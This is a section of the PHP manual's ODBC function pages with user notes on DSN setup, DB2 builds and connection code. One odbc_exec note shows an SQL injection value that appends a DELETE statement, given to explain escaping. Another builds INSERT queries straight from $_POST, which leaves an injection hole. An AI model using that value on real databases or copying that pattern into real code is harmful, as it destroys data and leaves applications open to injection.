<table width="75%" border="1" cellspacing="1" cellpadding="1" bgcolor="#FFFFFF">
  <tr bgcolor="#CCFFFF">
    <td height="22"><b>Tipo</b></td>
    <td height="22"><b>Marca</b></td>
    <td height="22"><b>Modelo</b></td>
  </tr>

<?php
$cx=odbc_pconnect("RAMPANT","Invent","pass","");
$cur=odbc_exec($cx,"select tipo,marca,modelo from inv_equipos");
while(odbc_fetch_row($cur))
{
//collect results
$tipo=odbc_result($cur,1);
$marca=odbc_result($cur,2);
$modelo=odbc_result($cur,3);
//format and display results
    print ("<tr>");
    print ("<td>$tipo</td>");
    print ("<td>$marca</td>");
    print ("<td>$modelo</td>");
    print ("</tr>");
    }

//disconnect from database
    odbc_close($cx);

    ?>

</table>
</body>
</html>
emin dot eralp at bg dot com dot tr 15-Oct-2004 06:46
A VERY IMPORTANT NOTE OF CAUTION FOR WINDOWS USERS DEVELOPING ON NON-NETWORKED SYSTEMS

If like me you are developing on a stand-alone system (Windows XP professional running IIS).  Make sure that the the folder your database resides in is shared, otherwise you will get the following type of message:

Current Recordset does not support updating. This may be a limitation of the provider, or of the selected locktype.'

and you will spend 2 days (as I did) looking for the right combination of settings to write the record properly.
f dot chehimi at lancaster dot ac dot uk (Fadi) 09-Jul-2004 10:13
This is the typical solution with the steps to follow if someone wants to connect MS Access to PHP. it took me a couple of hours actually till i reached it. i just wanted to ease the hassle for my colleagues in order not to waste their time as i did. this is the duty of every programmer towards his/her peers :p
here you are the CAKE :)

<?php

// to have this working:
// 1- u  have first to creat ur access database using MS
//     Access  (i asume u know how to do this). My database
//     that i used in my example is called "Questionaire.mdb".
//     the table in it is called "Results"
//
// 2- then u have to add this database to ODBC in the
//     control panel.
//
// 3- the adition happens by adding "MS Access Driver" to the
//     "System DNS" tab in ODBC Data Source Administrator. if
//     u have that "MS Access Driver" in "User DNS" tab, then
//     u have to delete it.
//
// 4- click on Add in the "System DNS" tab.
//
// 5- choose "MS Access Driver" from the "Creat New
//     Database Source" window and click finish.
//
// 6- then the "ODBC MS Access Setup" window will pop-up.
//
// 7- give the driver the name that you want to use in your
//     PHP scripting. i used here "MSAccessDriver".

// 8- after this, choose the "Select" button in "ODBC MS
//     Access Setup" to set the path of your Access database.
//
// 9-then u r done!!

// this odbc_connect does the connection to the driver i
// created in the ODBC Administrator
$con = odbc_connect('MSAccessDriver','','');

if ($con)
{
  echo "odbc connected<br>";
  $sql =  "select * from Results";

  //this function will execute the sql satametn in
  //correspondance to the table in the db
  $exc = odbc_exec($con,$sql);
}
else
  echo "odbc not connected<br>";

if($exc)
{
  echo "selection completed<br>";
  while($row = odbc_fetch_row($exc) )
       echo $row->id."<br>";
}
else
  echo "selection failed<br>";

?>
d-m at eudoramail dot com 22-Jun-2004 09:05
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Compiling Apache + PHP + DB2 8.1  without the DATABASE instaled at the WebServer Machine!
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/

Go to the machine that you have DB2 DATABASE instaled and COPY the include files from the DB2 8.1 DataBase to the PHP source directory:

Sample:
[root@DB2_SERVER/usr/opt/db2_08_01/include]# scp * user@webserver:/usr/src/php-4.3.7/ext/odbc/.

INSTALLING THE WEBSERVER!
Enter in the WebServer as root and ...

-- DB2 --
Install Administration Client
Catalog the DataBases
-- END DB2 --

-- LIB --
vi /etc/ld.so.conf
add line: /opt/IBM/db2/V8.1/lib
execute: ldconfig
-- END LIB --

Download PHP + MODSSL + OPENSSL + APACHE!

--- APACHE ---
cd ../mod_ssl-2.8.18-1.3.31
./configure  --enable-module=so --with-apache=../apache_1.3.31 --with-ssl=../openssl-0.9.7d
cd ../apache_1.3.31/
make
make certificate TYPE=custom
make install
--- END APACHE ---

OBS:  CRIPT the CA.key
    DO NOT CRYPT server.key

-- PHP --
cd ../php-4.3.7
./configure  --with-apxs=/usr/local/apache/bin/apxs --with-mysql --with-pgsql --with-zip=/usr/local/lib --with-ibm-db2=/opt/IBM/db2/V8.1
make
make install
-- END PHP ---

-- APACHE EDIT TO RUN DB2 --
vim /usr/local/apache/bin/apachectl
add line: . /home/db2inst1/sqllib/db2profile
-- END APACHE EDIT TO RUN DB2 --
NOW run /usr/local/apache/bin/apachectl startssl

DONE !!!!!

You have a WebServer with PHP with DB2,MYSQL,POSTGRES and SSL Support.

Enjoy IT!

[]´s
Helio Ferenhof
simonr at no2sp at m dot cogapp dot com 01-Jun-2004 02:26
To make a DSN-less connection using ODBC to MS-SQL:

<?php

$connection_string = 'DRIVER={SQL Server};SERVER=<servername>;DATABASE=<databasename>';

$user = 'username';
$pass = 'password';

$connection = odbc_connect( $connection_string, $user, $pass );

?>

servername is the name of the database server

databasename is the name of the database

Note, I've only tried this from a windows box using the Microsoft ODBC drivers.
sa_kelkar at yahoo dot com 10-Mar-2004 04:41
While Installing PHP  + Apache + DB2 some time it give problem with odbc_connect(). . to solve this problem

make sure that u have made following entry in /etc/ld.so.conf

/usr/IBMdb2/V7.1/lib
/usr/IBMdb2/V7.1/include
/usr/lib

please add following line on line no 25 in /etc/rc.d/init.d/httpd

./home/db2inst1/sqllib/db2profile
(i.e /home/(instant name)/sqllib/db2profile

for more detail please visit to IBM site

it will work
atze at o2o dot com dot au 05-Feb-2004 12:41
To connect to a SQL DB on a unix srv via odbc one can use one of the following solutions.

1. having an odbc.ini (~/.odbc.ini)

[PostgreSQL]
Description         = PostgreSQL template1
Driver              = PostgreSQL
Trace               = Yes
TraceFile           = /tmp/odbc.log
Database            = PerfTest
Servername          = localhost
UserName            = boss
Password            = BigBoss
Port                = 5432
Protocol            = 6.4
ReadOnly            = Yes
ConnSettings        =

[Default]
Driver = /local/lib/libodbc.so

2. specifying a DSN

function DBCALL($SQL)
{
$U = "boss";
$DB = "PerfTest";
$P = "BigBoss";
$Srv = "llocalhost";
$DSN = "Driver=PostgreSQL;Server=$Srv;Database=$DB";

echo "Trying to connect to $DSN\n";
if ($CID = odbc_connect ("$DSN","$U","$P",SQL_CUR_USE_ODBC))
{
    echo "still trying CID = $CID\n";
    if ($RES = odbc_exec($CID, $SQL))
    {
        echo "RES = $RES\n";
        print_r($RES);
        echo "\n";

        $NR = odbc_num_rows($RES);

<snip>

Hope this helps.
Grisu 23-Dec-2003 12:51
Connect to an MS-Access Database on the Network via ODBC

Apache 2.0.47 with PHP 4.3.4 running on Windows XP Pro

If you encounter the error
"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

you should make sure to have the following done:

The ODBC-link must be a System-DNS and not a User-DNS. Configure your ODBC-link and then modify your configuration with regedt32. Go to HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI and open your ODBC-link. The field DBQ contains the path to your database. This path must be without Drive-names (e. g. "M:") so change it to "\\Server\folder\database.mdb". This setting is changed each time you modify your ODBC-configuration using the Windows-tool, so make sure you do this afterwards.

Then you go to the Services-Section in your Systemmanagement. Select the properties of your Apache module. In the login-section you have to make sure you login with a valid User-Account for your Network-Server.

Please note that this way you still have no permission to access linked tables within the linked database

Funny enough all this is not necessary on Win98.
TheFrenZ 07-Nov-2003 01:22
If you encounter the error:

"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

Windows with PHP, running under IIS/PWS, PHP runs under the anonymous user, INET_USR_"server" (were "server" is your servername).
This user has no read access in the ODBC System DSN tree in the registry.

With regedt32 open HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI and give read access to every ODBC entry you want to use with PHP.

Beware: With every change to a ODBC system DSN, the rights on that ODBC system DSN are gone again, and you have to change the rights again manualy.

Under Apache, PHP runs under the System account and you wont have this problem.
lffranco at dco.pemex.com 28-Aug-2003 03:08
As always Microsoft is clueless... I've been trying to connect to an Access database on a W2K on the network (not a local file, but mapped on the V: drive), via ODBC.

All I got is this message:
Warning: SQL error: [Microsoft][ODBC Microsoft Access Driver] '(unknown)' is not a valid path. Make sure that the path name is spelled correctly and that you are connected to the server on which the file resides., SQL state S1009 in SQLConnect in d:\apache\cm\creaart.php on line 13

So... I started looking al around and looks like the ODBC driver has some severe problems:

1. It cannot access a Access database via a mapped drive. And this is for ANY application, name it PHP, Coldfusion, whatever
2. You cannot make a system DSN with a UNC (\\Server\resource), so you must map the drive

Cute isn't it?

So... I quit on ODBC and went via ADO, this is the code that works:

=== CODE ===

$db = '\\\\server\\resource\\db.mdb';
$conn = new COM('ADODB.Connection');
$conn->Open("DRIVER={Driver do Microsoft Access (*.mdb)}; DBQ=$db");

// Driver do Microsoft Access (*.mdb)
// must be the name in your odbc drivers, the one you get
// from the Data Sources (ODBC).
// In this case, I'm in Mexico but the driver name is in portuguese, thanks Microsoft.

$sql = 'SELECT username FROM tblUsuarios';
$res = $conn->Execute($sql);
while (!$res->EOF)
{
    print $res->Fields['username']->Value . "<br>";
    $res->MoveNext();
}

$res->Close();
$conn->Close();
$res = null;
$conn = null;

=== /CODE ===
eric dot ramirez at iberoonline dot com 30-May-2003 07:44
Connecting with SQL in a ODBC source

2 ways, one is if your SQL server is runign in your machine

$ser="LOCALMACHINE"; #the name of the SQL Server
$db="mydatabase"; #the name of the database
$user="myusername"; #a valid username
$pass="my pass"; #a password for the username

# one line
$conn=odbc_connect("Driver={SQL Server};Server=".$ser.";Database=".$db,$user,$pass);
# one line

the second way is if the SQL Server is runing in other machine but in the same network

$ser="LOCALMACHINE"; #the name of the SQL Server
$db="mydatabase"; #the name of the database
$user="myusername"; #a valid username
$pass="my pass"; #a password for the username

#one line
$conn=odbc_connect("DRIVER=SQL Server;SERVER=".$ser.";UID=".$user.";PWD=".$pass.";
DATABASE=".$db.";
Address=".$ser.",1433","","");
#one line
richard at lordrich dot com 02-May-2003 01:07
Because the dsn needs to be system-wide, you will also need write access to the registry to set it up.
Yvan Ecarri 22-Mar-2003 12:01
I fighted with the "Data source name not found and no
default driver specified, SQL state IM002 in SQLConnect"
error for a while trying to connect via ODBC to a SQL Server
2000. Finally I found this workaround:

$cn = odbc_connect("Driver={SQL Server};Server=MyServer;Database=MyDatabase",
"MyUser","MyPassword")

Change "MyServer", "MyDatabase", "MyUser" and "MyPassword" to the right values.

I guess that adding the "Integrated Security=YES" will work too.

Regards,

Yvan Ecarri, MCDBA, MCSD
jeremy at austin.ibm.com 28-Feb-2003 11:20
here's a quick note about using php and db2 that cost me a couple of hours and several recompiles trying to figure out why it didn't work.

put the below line in any script

     putenv("DB2INSTANCE=db2inst1");

Or, set that in your webserver environment somehow.
sambou at everyonesports dot com 16-Dec-2002 11:11
If you encounter the error:

"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

make sure you have the correct permission to your database file (e.g. if using Win2k, might want to set the "Everyone" group to "Full Control").  For Windows, I find that I have to sometimes use the registry editor (e.g. RegEdt32.exe) to set the database file's permission because for some unknown reason, setting the permission from the file's "Properties" option does not work.
oottavi at netcourrier dot com 06-Nov-2002 07:36
If you have problem to connect to sybase with an ODBC driver, try to set up your SYBASE environment variable to the correct directory.
([ODBC SQL Server driver]Allocation of a Sybase Open Client Context failed)

Ex : Here is a connection to a DSN

putenv("SYBASE=c:\sybase");

$conn  =  odbc_connect("DSN1","USER","PASSWORD");
echo  "conn:  $conn";
if  ($conn  <=  0)  {
        echo  "Error  in  connection";
        exit;
} else  {
        echo  "<P>Connection  successful\n";
};
mortoray at ecircle-ag dot com 31-Oct-2002 01:31
If you have switched to a new Version of PHP (from 4.1 to 4.3) and at the same time have upgraded your Apache server (from 1.x to 2.x) and suddenly get the error:

"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

It may be because you have your ODBC connections listed (Control Panel | ODBC) as User DSN rather than System DSN.  They need to be System DSN in order for the PHP in the Apache service to access to them.
osiris at rich-howard dot co dot uk 24-Jul-2002 07:34
Thought I'd add a note here on this. I'm using Apache 2.0.39 on Windows XP and PHP 4.2.2.

It helps a lot if you don't use capital letters in your dsn string.

Thought I also comment on the posts about using system dsns over file dsns. There are lots of posts saying use systems not files, but none (that I have seen) which explain why.

Essentially: File DSNs are specific to the current user, therefore the Internet Guest User Account doesn't have rights to them. Systems are available to everyone.

Regards

Osiris :)
d-m at eudoramail dot com 05-Feb-2002 06:40
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
odbc_connect ERRO at DB2
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/

To Solve the problem with DB2 + PHP folow this steps!

INSTALL THE PROGRAM LIKE THIS!

-- DB2 --
Install the DataBank
Install Application Tools
-- END DB2 --

--- APACHE ---
cd ../mod_ssl-2.8.5-1.3.22/
./configure  --enable-module=so --with-apache=../apache_1.3.22/  --with-ssl=../openssl-0.9.6c/
cd ../apache_1.3.22/
make
make certificate TYPE=custom
make install
--- END APACHE ---

-- PHP --
cd ../php-4.1.1/
./configure  --with-apxs=/usr/local/apache/bin/apxs --with-pgsql --with-mysql --with-ibm-db2=/usr/IBMdb2/V7.1
make
make install
-- END PHP ---

-- LIB --
vim /etc/ld.so.conf
add line: /usr/IBMdb2/V7.1/lib
execute: ldconfig
-- END LIB --

To Solve the error ODBC_CONNECT exec the db2profile at the apachectl!!! Like this!

-- APACHE EDIT TO RUN DB2 --
vim /usr/local/apache/bin/apachectl
add line: . /usr/home/db2inst1/sqllib/db2profile
-- END APACHE EDIT TO RUN DB2 --

NOW run /usr/local/apache/bin/apachectl startssl

DONE !!!!!

You have a DB2 + APACHE + SSL + PHP + MYSQL + POSTGRES .

Enjoy

[]´s
Helio Ferenhof
whuang at cadvision dot com 19-Jan-2002 03:32
If you (still) get that annoying error like and you're using Access:

MSaccess DSN(Microsoft Jet engine couldn't open the database 'Unknow'.
Another user is using it exclusively, or you dont have permission to use
it).

Make sure your access *.mdb file is not on a network drive. Put it on C: or D: disable all security first so you can test the connection. Once you can verify that you can connect add appropriate passwords, group access, etc.

-=WH=-
bill at ergoitsolutions dot com 14-Dec-2001 07:36
odbc connect to Oracle 8.0.xxx / NT4 / IIS4 / php.exe (4.1.0)
had a lot of trouble connecting kept receiving the 12154 TNS error.
Found a really useful hint in a mail msg on phpbuilder.  http://www.phpbuilder.com/mail/php-db/2001051/0192.php
Had to strip the <cr>'s out of both sqlnet.ora and tnsnames.ora to get a connection established.  Also had trouble in php.ini need to
fully qualify extension_dir on NT if you leave the last \ on the dir
name it is replaced with a /
Mahmoud at iastate dot edu 29-Nov-2001 09:35
WINNT 4 Workstation, PHP4

odbc_connect() kept giving me weird errors when trying to connect to a MSaccess DSN(Microsoft Jet engine couldn't open the database 'Unknow'. Another user is using it exclusively, or you dont have permission to use it).

After going nuts for a while, I realized that my database name had a space in it (course surveys.mdb), I shortened the name to eliminate the space .. and everything worked fine.
lomaky at yahoo dot com 23-Nov-2001 11:30
// simple conection

$cnx = odbc_connect('cliente','Administrador','');
//query
$SQL_Exec_String =  "select * from Clientes";
//ejecucion query
$cur= odbc_exec( $cnx, $SQL_Exec_String );
echo  "<table border=1><tr><th>Dni</th><th>Nombre</th>".
         "<th>codigo</th><th>ciudad</th></tr>\n";
    while( odbc_fetch_row( $cur ) ) {
       $Dni= odbc_result( $cur, 1 );
       $Nombre= odbc_result( $cur, 2 );
       $codigo= odbc_result( $cur, 3 );
       $ciudad= odbc_result( $cur, 4 );
        echo  "<tr><td>$Dni</td><td>$Nombre</td>".
             "<td>$codigo</td><td>$ciudad</td></tr>\n";
    }
    echo  "</table>";
root at mediamonks dot net 19-Nov-2001 01:03
Due to multiple requests, more for DSN-less connections:

<?php
$db_connection = new COM("ADODB.Connection");

$db_connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("../databases/database.mdb") ." ;DefaultDir=". realpath("../databases");
$db_connection->open($db_connstr);
$rs = $db_connection->execute("SELECT * FROM Table");
$rs_fld0 = $rs->Fields(0);
$rs_fld1 = $rs->Fields(1);
while (!$rs->EOF) {
  print "$rs_fld0->value $rs_fld1->value\n";
  $rs->MoveNext(); /* updates fields! */
}
$rs->Close();
$db_connection->Close();
?>

(Prints first 2 columns for each row.)
cs at coolspot dot de 10-Jul-2001 10:01
We've tried hard to connect from php to our IBM DB2 RS/6000 Server. It worked after we compiled with --ibm-db2= option, but it was unbelievable
slow.

No, just testing some options, we found out that it went from very slow (getting 100 records lasts 1 till 10 seconds) to fast access (almost same speed as with using JDBC from Servlets) to 0.2 till 0.3 seconds.

We simply added the optional parameter Cursortype to odbc_connect, and with the cursortype SQL_CUR_USE_ODBC it changed in that way!

Hope this helps anybody who must connect to db2 ;)
ckelly at powerup dot com dot au 13-Jun-2001 06:42
To connect to a PROGRESS database using ODBC you must have SQL_CUR_USE_ODBC  as the 4th parameter eg odbc_connect(DSN,uname,password,SQL_CUR_USE_ODBC ) otherwise you can pass queries but no results are ever returned .
cpoirier at shelluser dot net 09-Mar-2001 10:26
After much testing, and I think supported by a comment I found in the code, I have come to a disturbing conclusion: odbc_connect() in PHP4.04pl1 is really an odbc_pconnect(), with all the implications for transaction scoping.  Specifically, each time you call odbc_connect( "X", "" "" ), you will get the same physical ODBC Connection, and odbc_commit() and odbc_rollback() will affect all copies.  The only solution I could find was to use several different DSNs to access the database.
fc99 at smm dot de 27-Jan-2001 03:23
If you don't want to specify your login credentials on your web server, you can leave the login fields blank to use the integrated windows security like here:

odbc_connect("DSN=DataSource","","");

Make sure you have switched your system dsn to integrated security, too !

(works on windows machines only, of course)

flo.
SilencerX at optidynamic dot com 27-Jan-2001 12:31
If like me you are using openlink from unix to access an MS Access database on an NT/Win2k machine and find out that your INSERT queries don't do anything and don't report any errors, use odbc_pconnect().

I couldn't understand what was going on and after a bit of research I found out that with MySQL they recommended using mysql_pconnect() for INSERT queries. I tried the same thing with odbc and it worked.
garretg at otable dot com 02-Jan-2001 11:03
If you're connecting to a SQL server database through ODBC, you must set the default database of the ODBC DSN to the database you want to use.

There is no way to specify the database name in odbc_connect or odbc_pconnect, just the DSN name, username, and password.
phobo_AT_paradise.net.nz 02-Nov-2000 03:01
If using Openlink to connect to a Microsoft Access database, you will most likely fine tha odbd_connect() works fine, but discover that ANY query will produce odd results; with SELECT queries failing with "[OpenLink][ODBC][Driver]Driver not capable, SQL state
S1C00 in SQLExecDirect in xxxx.php on line xx" and INSERT / DELETE queries warning "No tuples available at this result index".

In this case, use the SQL_CUR_USE_ODBC cursor!

This had me stumped for quite some time; because it was the odbc_exec() which was seemingly at fault... :)

Siggy
cnewbill at onewest dot net 18-May-2000 02:55
Alot of people share the same kind of problems getting this setup on linux.  I was assigned this problem 2 days ago and I was successful.  My combination was PHP4 RC2, Easysoft OOB, and unixODBC.  These three products work very well together and are real easy to install.  More info http://www.easysoft.com/products/oob/main.phtml. ps also works good with Perl's DBI.


Get cursorname

  • « odbc_connect
  • odbc_data_source »
  • PHP Manual
  • ODBC Functions
  • Get cursorname

odbc_cursor

(PHP 4, PHP 5)

odbc_cursor — Get cursorname

Description

string odbc_cursor ( resource $result_id )

Gets the cursorname for the given result_id.

Parameters

result_id

The result identifier.

Return Values

Returns the cursor name, as a string.

User Contributed Notes

There are no user contributed notes for this page.


Returns information about a current connection

  • « odbc_cursor
  • odbc_do »
  • PHP Manual
  • ODBC Functions
  • Returns information about a current connection

odbc_data_source

(PHP 4 >= 4.3.0, PHP 5)

odbc_data_source — Returns information about a current connection

Description

array odbc_data_source ( resource $connection_id , int $fetch_type )

This function will return the list of available DSN (after calling it several times).

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

fetch_type

The fetch_type can be one of two constant types: SQL_FETCH_FIRST, SQL_FETCH_NEXT. Use SQL_FETCH_FIRST the first time this function is called, thereafter use the SQL_FETCH_NEXT.

Return Values

Returns FALSE on error, and an array upon success.

User Contributed Notes

critmas at hotmail dot com 25-Feb-2005 08:53
Thank you Angelo for point out the code.  Though the function doesn't really do what it is supposed to.  It returns the entire list of ODBC DSNs.
If you really are looking to get the server type based on just the ODBC, username and password in an environment where the application needs to be aware of different types of databases, use the following code:

$link2 = odbc_connect($dsn , $DBUser, $DBPwd ) or die(odbc_errormsg() );
$result = @odbc_data_source( $link2, SQL_FETCH_FIRST );
while($result)
{
    if (strtolower($dsn) == strtolower($result['server'])) {
        echo $result['description'] . "<br>\n";
        break;
    }
       else
        $result = @odbc_data_source( $link2, SQL_FETCH_NEXT );
}

odbc_close($link2);

// Hope it saves your precious time
angelo [at] spaceblue [dot] com 01-Dec-2003 07:51
// Example usage:

// Connect to a ODBC database that exists on your system
$link = odbc_connect("some_dsn_name", "user", "password") or die(odbc_errormsg() );

$result = @odbc_data_source( $link, SQL_FETCH_FIRST );
while($result)
{
    echo "DSN: " . $result['server'] . " - " . $result['description'] . "<br>\n";
    $result = @odbc_data_source( $link, SQL_FETCH_NEXT );
}

odbc_close($link);


Alias of odbc_exec

  • « odbc_data_source
  • odbc_error »
  • PHP Manual
  • ODBC Functions
  • Alias of odbc_exec

odbc_do

(PHP 4, PHP 5)

odbc_do — Alias of odbc_exec()

Description

This function is an alias of: odbc_exec().

User Contributed Notes

scottmweaver 02-Jun-2007 12:27
Hey guys,

I used the following code to run normal double quotes inside my SQL queries. Hopefully this will save someone else a headache or two-

<?php

    /**
     * Query Function
     * Allows quoted queries to be sent to SQL
     */

    function query($query, $conn)
    {
        odbc_do($conn, 'SET QUOTED_IDENTIFIER OFF');
        return odbc_do($conn, $query);
    }
?>
phil.nyc 04-Dec-2006 04:23
To clear up: the SQL standard requires strings to be inside single quotes: 'string'.  It simply does not accept double quotes for this purpose.

Furthermore, in PHP, you can have a single quote inside double quotes: "select a from b where c = 'string'" without the need to escape.
yashkhopade at hotmail dot com 10-Jul-2003 12:53
i have use this function so many times. it works well for my requirements. ok well done...

<?php
         $sqlstr="SELECT bill_no FROM SCROL";
         $queryresult=odbc_do($conn,$sqlstr);
         odbc_fetch_row($queryresult,$bills);

        // if we want to access the records
        // then we have to write the following code

        echo $bills[0];

?>

the out put for this will:

 1
which is actullay first record of resultset.


Get the last error code

  • « odbc_do
  • odbc_errormsg »
  • PHP Manual
  • ODBC Functions
  • Get the last error code

odbc_error

(PHP 4 >= 4.0.5, PHP 5)

odbc_error — Get the last error code

Description

string odbc_error ([ resource $connection_id ] )

Returns a six-digit ODBC state, or an empty string if there has been no errors.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

Return Values

If connection_id is specified, the last state of that connection is returned, else the last state of any connection is returned.

This function returns meaningful value only if last odbc query failed (i.e. odbc_exec() returned FALSE).

See Also

  • odbc_errormsg() - Get the last error message
  • odbc_exec() - Prepare and execute an SQL statement

User Contributed Notes

Dan 24-Jan-2014 01:47
On persistent connections, a  failed T-SQL will allow odbc_error and odbc_errormsg to return the error, but a subsequent successful T-SQL will not clear the error.  Is it a bug?
sunil_limje at indiatimes dot com 18-Jul-2003 12:06
I have use this function, its very simple and cute.
with IBM DB2
<?php
         // you must set the connection first
         if (odbc_error())
         {
               echo odbc_errormsg($conn);
         }
         // if you want to show the perfect error message
         // then format it using string functions.
?>
Have a good day!
Sergio Sartori 03-Apr-2003 06:56
Using IBM DB2 V7.1 and MS SQL Server 7 ODBC database connections.
Print the result of odbc_error() or odbc_errormsg() after each call to an odbc_ function that gives no error and, sooner or later, you'll get garbage instead of a blank string!
aaronbair at hotmail dot com 09-Mar-2002 05:26
If you use an argument, make sure its the CONNECTION_ID and not the RESULT_ID.

Testing the result can return a null string or sometimes a garbage string.

# -- Example code  --
$rs = odbc_exec($dbc, $sql);

#this is wrong but won't error out until
#you demo the page for a client!
  if (odbc_error($rs)) die(...);

#these work
  if (odbc_error()) die(...);
  if (odbc_error($dbc)) die(...);


Get the last error message

  • « odbc_error
  • odbc_exec »
  • PHP Manual
  • ODBC Functions
  • Get the last error message

odbc_errormsg

(PHP 4 >= 4.0.5, PHP 5)

odbc_errormsg — Get the last error message

Description

string odbc_errormsg ([ resource $connection_id ] )

Returns a string containing the last ODBC error message, or an empty string if there has been no errors.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

Return Values

If connection_id is specified, the last state of that connection is returned, else the last state of any connection is returned.

This function returns meaningful value only if last odbc query failed (i.e. odbc_exec() returned FALSE).

See Also

  • odbc_error() - Get the last error code
  • odbc_exec() - Prepare and execute an SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Prepare and execute an SQL statement

  • « odbc_errormsg
  • odbc_execute »
  • PHP Manual
  • ODBC Functions
  • Prepare and execute an SQL statement

odbc_exec

(PHP 4, PHP 5)

odbc_exec — Prepare and execute an SQL statement

Description

resource odbc_exec ( resource $connection_id , string $query_string [, int $flags ] )

Sends an SQL statement to the database server.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

query_string

The SQL statement.

flags

This parameter is currently not used.

Return Values

Returns an ODBC result identifier if the SQL command was executed successfully, or FALSE on error.

See Also

  • odbc_prepare() - Prepares a statement for execution
  • odbc_execute() - Execute a prepared statement

User Contributed Notes

petercdow at gmail dot com 14-Oct-2013 10:54
An SQL statement that contains quotes (i.e. ") instead of apostrophes (i.e. ') to delimit strings works fine in Access, however, in odbc_exec, it fails with

[Microsoft][ODBC Microsoft Access Driver] Too few parameters. Expected 6.

For example:

$q = "INSERT INTO TableA (Fld1, Fld2, Fld3) VALUES('A', 'B', 'C');"

works fine in both Access and ODBC, but

$q = 'INSERT INTO TableA (Fld1, Fld2, Fld3) VALUES("A", "B", "C");'

fails with the above error.
mir eder 28-Aug-2007 12:39
If you are having problems with truncated text fields from ODBC queries (pe. at 4096 characters), try some of the following:

in php.ini:
- odbc.defaultlrl = 65536

in your php code, before your queries:
- ini_set ( 'odbc.defaultlrl' , '65536' );
delowing gmail dot com 28-Sep-2006 05:19
It is easy to inject evil code into SQL statements. This wraps parameters in quotes so they are not executable. In your own stored procedures you can convert the string to numeric as needed.

function sql_make_string($sin){
         return "'".str_replace("'","''",$sin)."'";
}

// this may delete all data from MYTABLE
$evil = "734'; DELETE FROM MYTABLE; print 'ha ha";
$sql = "SELECT * FROM MYTABLE WHERE mykey = '$evil'";
$rst = odbc_exec($connection,$sql);

// this probably will not delete the data.
$good = sql_make_string($evil);
$sql = "SELECT * FROM MYTABLE WHERE mykey =".$good
$rst = odbc_exec($connection,$sql);
30-Aug-2005 03:18
The following seems counterintuitive to me and so I am constantly getting burned by it.  Just thought I'd add a note for anyone else who might also get burned.

  if (!odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))

is not a good way to search for the existence of a record with Key1 = x and Key2 = y.  The odbc_exec always returns a result handle, even though there aren't any records.

Rather, you must use one of the fetch functions to find out that the record really doesn't exist.  This should work:

  if (!($Selhand = odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))
    || !odbc_result($Selhand, 1))
fuadMD at gmail dot com 24-May-2005 09:34
<?php
// - This is a complete working dynamic example of using:
//    odbc_connect, odbc_exec, getting col Names,
//    odbc_fetch_row and no of rows. hope it helps
// - your driver should point to your MS access file

$conn = odbc_connect('MSAccessDriver','','');

$nrows=0;

if ($conn)
{
$sql =  "select * from $month";
//this function will execute the sql satament
$result=odbc_exec($conn, $sql);

echo "<table  align=\"center\" border=\"1\" borderColor=\"\" cellpadding=\"0\" cellspacing=\"0\">\n";
echo "<tr> ";
// -- print field name
$colName = odbc_num_fields($result);
for ($j=1; $j<= $colName; $j++)
{
echo "<th  align=\"left\" bgcolor=\"#CCCCCC\" > <font color=\"#990000\"> ";
echo odbc_field_name ($result, $j );
echo "</font> </th>";
}
$j=$j-1;
$c=0;
// end of field names
while(odbc_fetch_row($result)) // getting data
{
 $c=$c+1;
 if ( $c%2 == 0 )
 echo "<tr bgcolor=\"#d0d0d0\" >\n";
 else
 echo "<tr bgcolor=\"#eeeeee\">\n";
    for($i=1;$i<=odbc_num_fields($result);$i++)
      {
        echo "<td>";
        echo odbc_result($result,$i);
        echo "</td>";
        if ( $i%$j == 0 )
           {
            $nrows+=1; // counting no of rows
          }
      }
    echo "</tr>";
}

echo "</td> </tr>\n";
echo "</table >\n";
// --end of table
if ($nrows==0) echo "<br/><center> Nothing for $month yet! Try back later</center>  <br/>";
else echo "<br/><center> Total Records:  $nrows </center>  <br/>";
odbc_close ($conn);

}
else echo "odbc not connected <br>";
?>
james @ php-for-beginners co uk 18-Mar-2005 01:54
hi all, I managed to get this little snippet working, it's pretty useful if you have long forms to be inserted into a database.

if ( ! empty ( $_POST ) ){
array_pop($_POST);
 foreach($_POST as $key => $val){
  $columns .= addslashes($key) . ", ";
    $values .= "'" . addslashes($val) . "', ";

 }
 $values = substr_replace($values, "", -2);
 $columns = substr_replace($columns, "", -2);

 $sql = "INSERT INTO table ($columns) VALUES ($values)";
 echo $sql;
 $results = odbc_exec($conn, $sql);
                 if ($results){
              echo "Query Executed";
                }else {
              echo "Query failed " .odbc_error();
            }
}

Not the most secure in the world but, speeds up collecting data from large forms.
Sean Boulter 22-Apr-2004 02:28
If a single quote exists within the field specified by your WHERE statement, ODBC fails because of a parsing error.  Although it seems intuitive, using \" around the field does not work (\"$var\").  The only solution I found was to replace all single quotes in my field with two single quotes.  ODBC interprets the first single quote as an escape character and interprets the second single quote as a literal.  Thanks to http://www.devguru.com/features/knowledge_base/A100206.html for this tip.
rob at vendorpromotions dot com 17-Jun-2003 10:29
This opens select statements 'for update' by default in db2.  If you're using db2, you have to tack on 'for read only' at the end to select from SYSCAT.TABLES, for example, without firing an error like

Warning: SQL error: [IBM][CLI Driver][DB2/LINUX] SQL0151N The column "MAXFREESPACESEARCH" cannot be updated. SQLSTATE=42808 , SQL state 42808 in SQLExecDirect

For example :

